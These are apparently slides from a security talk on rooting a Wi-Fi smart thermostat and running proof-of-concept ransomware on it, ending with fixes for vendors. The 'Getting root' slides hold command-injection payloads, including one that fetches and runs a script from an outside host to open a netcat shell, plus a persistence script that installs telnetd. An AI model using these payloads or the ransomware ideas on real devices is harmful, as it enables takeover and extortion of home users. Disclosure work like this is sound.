Thermostat Ransomware

Or how I learned to hack like it was 1994

@cybergibbons
@thekenmunroshow
@pentestpartners
www.pentestpartners.com/blog/
Overview

• There are no uber elite hacks, exploits or tricks in this talk
• Hacking most IoT devices is like hacking a Linux box that hasn’t been updated since the mid 1990s with the tools and knowledge from 2016
• We’re going to take a common, Wi-Fi enabled, Internet connected thermostat, own it, and run ransomware
• How we went about finding the holes
• What we would do to fix them
Why is IoT different?

• Who owns and controls the device?
  • Many IoT devices only allow interaction through UI and app
  • No login, manufacturer updates only, no audit, no monitoring
  • If cloud service goes down, so does device (see Petnet, Revolv hub)
  • Even the T&Cs can legally preclude you from tampering with hardware or reverse engineering
Why is IoT different?

• The attacker profile has changed
  • Not just external hackers
  • Device may not be final goal – these are great pivots
  • Device may be gateway onto infrastructure
  • Intellectual property is on devices
  • Physical access mantra has gone out of the window

• Makers, tinkerers, home automation enthusiasts, curious teenagers are all trying to gain access to these systems to improve, better and hack them
Our Target (try 1)

- An all-in-one thermostat sold in the UK
- ARM based
- Colour screen
- JTAG port
- Can pull flash over JTAG
- No OS – runs bare metal
- Custom board, uncommon LCD
- Hard to modify to any significant degree
- Can’t see RCE being possible
Our Target (try 1)

• Can connect over JTAG and download flash
• Found hidden debug menu
• Enables USB socket as mass storage
• Can change splash screen
• Deeper changes difficult without stopping rest of functionality working
• Similar to Olimex development board, but not close enough to build new software
Our Target (try 2)

- A common thermostat from the US
- ARM based (checked FCC docs)
- Linux based (we checked firmware upgrade)
- Almost certainly possible to get root
- Looked like a promising target
Detailed breakdown - hardware

- AT91SAM9G15 microprocessor (ARM 926 core)
- External 128MByte RAM
- External 1GBit NAND flash
- Murata ZX integrated WiFi module
- SD Card slot – used for updating firmware and transferring data
- 6-pin header has serial out
- No obvious exposed JTAG
- 24VAC powered, but fine with 24VDC
Detailed breakdown - software

- Linux based
- uBoot
- Busybox, fairly minimal – few servers, no netcat
- Ash shell – makes shell scripting harder
- No open ports by default
- HTTP API if enabled in settings
- Uses a cloud service for remote connectivity – can’t touch due to CMA
Detailed breakdown - software

• PC based application – uses Air
• Writes to SD card
• Settings
• Custom images/screensaver
• Firmware (embedded in Air app)
• Big – around 120Mb
• Needs Air installed
Unpacking firmware

• Firmware is embedded within Air application
• Can extract from:
  • Unzipping Air application direct
  • SD card image
• update.bin file
• Binwalk works fine
• Filesystem!

```
andrewtierney@ubuntu:/vs/ $ binwalk 4.bin

<table>
<thead>
<tr>
<th>DECIMAL</th>
<th>HEXADECIMAL</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>0x16</td>
<td>uImage header, header size: 64 bytes, header size: 16 bytes, Data Address: 0x20008000, Entry Point: 0x20008000, data CRC: 0x86</td>
</tr>
<tr>
<td></td>
<td>0x56</td>
<td>Linux kernel ARM boot executable zImage (Linux-3.15.0)</td>
</tr>
</tbody>
</table>
```

```
andrewtierney@ubuntu:/vs/4.bin.extracted/jffs2-root/fs/ $ ls
bin  dev  etc  home  lib  linuxrc  manifest  media  mnt  opt  proc  root  run  sbin  sys  tmp  usr  var
```
Examining firmware

- Bulk of functionality in a single monolithic binary running as root
- UI, cloud connectivity, httpd, firmware upgrade, network setup
- Binary loads a .mxe file which is JavaScript -750k of it!
- JavaScript has normal functions and some custom including ability to query SQLite3 database and exec commands
Examining firmware

• JavaScript looks a lot better once run through JSBeautify
• A lot of exec commands and runs as root
• Not much evidence of user input validation
• Command injection a likely vulnerability
Vendors assume firmware hidden

```javascript
if (typeof今回 !== 'string')
    break;

case w.SONOFABITCH:
    r = function() {
        for (var a = screen.width, t = scree
        var l = Math.round(Math.random())
        for (c + l > t && (l = t - c); a
        var g;
        g = Math.round(Math.random())
        var T = g + g;
```
Getting root

• Put `;ping –c 1 x.x.x.x;` in every single field, filename and parameter I could find

• Increment x so that you can identify which point is triggered

• Try options in the UI

• Bingo! Pings to 12.12.12.12

• The name of the images in the metafile is injectable when loading settings
Getting root

• We want to get a shell
• Use cross-compiled netcat
• Injected command:
  • ; wget http://eor.io/test.sh ; chmod +x test.sh ; ./test.sh;
• Test.sh downloads netcat and runs it listening on port 24
• Now we can connect to the device and see what is going on
• Wget kept on hanging with downloads bigger than 100k, so had to bzip2 and split file
Getting root – better

• Now we can run commands in a netcat shell

• Let’s convert this to a better shell using telnet, and get some better commands

• Cross compile busybox with everything we need

• Copy from SD card instead of network

• Edit inittab/init.d/startgui.sh script to persist

```bash
#!/bin/sh
cd /home/volatile
cp /mnt/busybox .
chmod +x busybox
ln -s busybox telnetd
cp /mnt/S50telnetd /etc/init.d/
cp /mnt/inittab /etc/
chmod +x /etc/init.d/S50telnetd
```
Ransomware

• Modify stat.mxe – easy to add simple functionality, but a single error causes it to die and not connect to network
• We can force a firmware update by editing first few bytes to later version to restore, but slow
• Easier to modify existing functionality
  • Screensaver to warning
  • Lock using PIN (and change frequently)
  • Annoying buzzer
  • Turn on HTTP API
  • Change outputs to whatever you want
  • Cool and heat at same time
  • IRC based botnet
Ransomware

• What’s the attack vector?
• 120Mb Air app replaced with 500k .net app – small size and ease of utility
• App to upgrade thermostat – commercial version has more features and just needs firmware tamper
• Modify firmware before selling on eBay – no way of checking
What could be fixed?

• Make hackers job harder
  • Encrypt firmware to prevent it being unpacked and inspected
  • Sign firmware to prevent it being modified
  • Check firmware signature at boot

• Fix vulnerabilities
  • Never trust any user input (even filenames and SSIDS)
  • Follow principle of least privilege – no need to run everything as root
  • Minimise use of read/write partitions
  • Basic firewall to prevent unwanted in/out connections
  • Hardware interlocks
  • Strip debug symbols from binaries

• Third party testing!
• It’s only a thermostat, right?
You think you are safe behind a firewall?

• Half of IoT gear with web interfaces or APIs implement no CSRF protection - some even no authentication
• Home users – and many business users – do not segregate their network
• Many of these web interfaces aren’t even used – move to cloud connectivity
• A user’s browser, on a third-party site, can spray CSRF across the local network, hoping to hit something
You aren’t safe behind a firewall
Protect against CSRF

• We turned off port-forwarding so that devices couldn’t be attacked through a firewall
• But we left vulnerable CSRFable web interfaces
• This is actively being used to root and control routers
• Our Jamie has found tens of devices vulnerable
  • Routers
  • Wifi-extenders
  • IP cameras
  • Remote sockets...
So what? What’s the impact?

• Stop thinking about these as isolated devices. It’s not just a thermostat, lightbulb, camera or doll
• These are powerful Linux boxes, behind your firewall
• You can’t tell when they have been owned
• Data exfiltration, owning other boxes, persistence
• What would happen if 200,000 thermostats all turned on air con at the same time?
• Did you know most (all?) UK smart meters have a remote disconnect?
@cybergibbons
@thekenmunroshow
@pentestpartners
www.pentestpartners.com/blog/